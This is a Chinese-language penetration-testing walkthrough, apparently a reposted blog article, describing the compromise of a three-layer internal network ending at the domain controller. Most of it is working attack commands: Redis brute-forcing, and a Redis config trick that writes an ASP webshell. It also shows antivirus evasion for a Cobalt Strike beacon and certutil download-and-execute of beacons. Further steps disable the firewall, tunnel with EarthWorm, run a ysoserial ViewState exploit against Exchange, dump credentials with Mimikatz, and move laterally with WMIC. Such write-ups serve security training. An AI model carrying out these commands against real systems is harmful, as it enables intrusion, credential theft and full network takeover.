文章总结： 本文详细介绍了通过代码审计获取shell并使用CobaltStrike打穿三层内网的实战过程。作者首先利用Redis未授权访问漏洞获取webshell，通过SweetPotato提权后部署CobaltStrike客户端；然后通过代理工具访问第二层办公区，进行信息收集并关闭防火墙；接着通过代理访问第三层Exchange服务器，利用Exchange漏洞获取服务器权限；最后通过Mimikatz抓取域控账号密码，使用WMIC横向移动获取域控制器权限。整个攻击过程展示了从外网到内网再到域控的完整渗透路径，提供了内网渗透的实战参考。
综合评分： 85
文章分类： 渗透测试,内网渗透,红队,WEB安全,漏洞分析
【攻防实战】代码审计Getshell联动Cobalt Strike打穿三层内网(下)
原创
平凡安全
平凡安全
2025年11月9日 20:00
北京
「与其跪神乞怜，不如站着做自己的神」
「前言」
网络安全技术学习，承认⾃⼰的弱点不是丑事，只有对原理了然于⼼，才能突破更多的限制。
拥有快速学习能力的安全研究员，是不能有短板的，有的只能是大量的标准板和几块长板。
知识⾯，决定看到的攻击⾯有多⼴；知识链，决定发动的杀伤链有多深。
「最终成果」
最终收获的成果如下
「网络拓扑图」
本次攻防实战绘制出的网络拓扑图如下
「第二层 办公区」
接上一篇文章继续分享
「Redis-getshell」
kali环境进行爆破
proxychains hydra -P /usr/share/john/password.lst 192.168.59.4 redis 6379
连接redis
cd /redis-stable
proxychains src/redis-cli -h 192.168.59.4 -a xxxx
备份文件写Shell
192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot" 进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp" 创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>" 写入webshell
192.168.59.4:6379>save 最后保存
利用过程
代理蚁剑进行连接这个shell
连接地址
http://192.168.59.4/redis.asp
密码
chopper
成功连接到server-redis
并查看权限
利用蚁剑把SweetPotato.exe（甜土豆）上传到C:/Redis/或者C:/ProgramData/目录下
成功进行提权
「cs拿到shell」
然后设置中转监听，这个监听IP要内网可以通信的内网IP，然后生成木马
对生成的exe文件进行免杀
先把木马通过蚁剑上传到宝塔(需要进行免杀)，火绒未告警
通过redis的shell进行操作，192.168.59.4远程下载192.168.59.133上的马
C:\ProgramData\xx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/beacon.exe beacon.exe
再通过提权工具进行执行
C:\ProgramData\xx.exe -i -c "beacon.exe"
此时查看cs，已成功上线
同样注入进程
「进行信息收集」
shell ipconfig
logonpasswords
查看防火墙（需要administrator权限）
shell netsh firewall show state
可以看到防火墙是开启的
关闭防火墙
shell netsh advfirewall set allprofiles state off
打开3389端口
挂代理，通过之前上传的EW（Earthworm）到
C:/wwwroot/
Proxifier配置
可以通过redis的shell进行操作添加用户，也可以使用cs添加用户
远程登陆
「第三层 Exchange」
通过蚁剑将nbtscan.exe上传到第二层的Redis可读写目录下
探测内网段存活
nbtscan.exe 10.10.10.0/24
「代理出网，拿下邮服」
此时绘制出整个目标网络拓扑图如下：
将ew上传到bt和redis
首先，在VPS上开启如下监听，将1080端口监听的流量都转发到本地的888端口（关掉防火墙，要能够相互访问）
ew.exe -s lcx_listen -l 1080 -e 888
然后在服务器B上执行如下命令，监听本地的999端口
execute C:\ew.exe -s ssocksd -l 999
最后在服务器A上执行如下命令，将VPS的888端口和服务器B的999端口连接起来
execute C:\ew.exe -s lcx_slave -d x.x.x.x -e 888 -f 192.168.59.4 -g 999
以上命令都执行完之后，设置socks5代理为VPS的1080端口
即可成功访问目标的exchange服务。
https://10.10.10.209/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f10.10.10.209%2fowa%2f%23authRedirect%3dtrue
对ex13进行攻击
nmap -sT 10.10.10.209 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389
蚁剑可通过更改代理进行连接
在 Redis 上的
"C:\Users\Administrator\Documents\Outlook文件\"
找到对应文件以及关键邮箱找到了 pts 文件：
下载到本地，通过将两个pst导入outlook可以看到exchange的一个账号密码
登陆成功，访问
https://10.10.10.209/ecp/default.aspx
获取
viewstateuserkey
__VIEWSTATEGENERATOR=B97B4E27
「cs拿到shell」
然后设置中转监听，这个监听IP要内网可以通信的内网IP，然后生成木马
将木马通过cs上传到redis服务器的redis目录下
使用exp执行payload：
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /ccertutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe" --validationalg="SHA1" --validationkey="CB2721xx89A25303BF" --generator="B97xxE27" --viewstateuserkey="80xxxce6f" --isdebug –islegacy
生成的payload，进行url编码
拼接成攻击的链接，反弹shell，得到Exchange服务器的System权限的会话
https://10.10.10.209/ecp/default.aspx?__VIEWSTATEGENERATOR=xxx&__VIEWSTATE=xxx
此时页面会返回500错误
查看cs，已上线
同样迁移进程
或者下载后门文件到exchange
「第三层 域控」
「拿下域控」
读取到本地有dc账号记录，那就可以直接用wmic横向操作一波
Mimikatz抓取到dc的账号密码
在server-ex机器上使用自带的WMIC.exe执行命令
shell C:\Windows\System32\wbem\WMIC.exe /node:10.10.10.201 /user:Administrator /password:xxx process call create "cmd /c certutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe"
成功上线cs
同样迁移进程
同样添加用户
同样挂代理
「远程登陆」
「网络安全感悟」
网络安全是一个长期的过程，因为网络安全没有终点，不管是网络安全企业，还是在网络安全行业各种不同方向的从业人员，不管你选择哪个方向，只有在这条路上坚持不懈，才能在这条路上走的更远，走的更好，不然你肯定走不远，迟早会转行或者被淘汰，把时间全浪费掉。
如果你觉得自己是真的热爱网络安全这个行业，坚持走下去就可以了，不用去管别人，现在就是一个大浪淘金的时代，淘下去的是沙子，留下来的才是金子，正所谓，千淘万漉虽辛苦，吹尽狂沙始到金，网络安全的路还很长，一生只做一件事，坚持做好一件事！
「攻防交流群」
「声明」
文笔生疏，措辞浅薄，敬请各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：平凡安全 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。
CSDN:
https://rdyx0.blog.csdn.net/
公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
博客:
https://rdyx0.github.io/
先知社区：
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
FreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：平凡安全 平凡安全《【攻防实战】代码审计Getshell联动Cobalt Strike打穿三层内网(下)》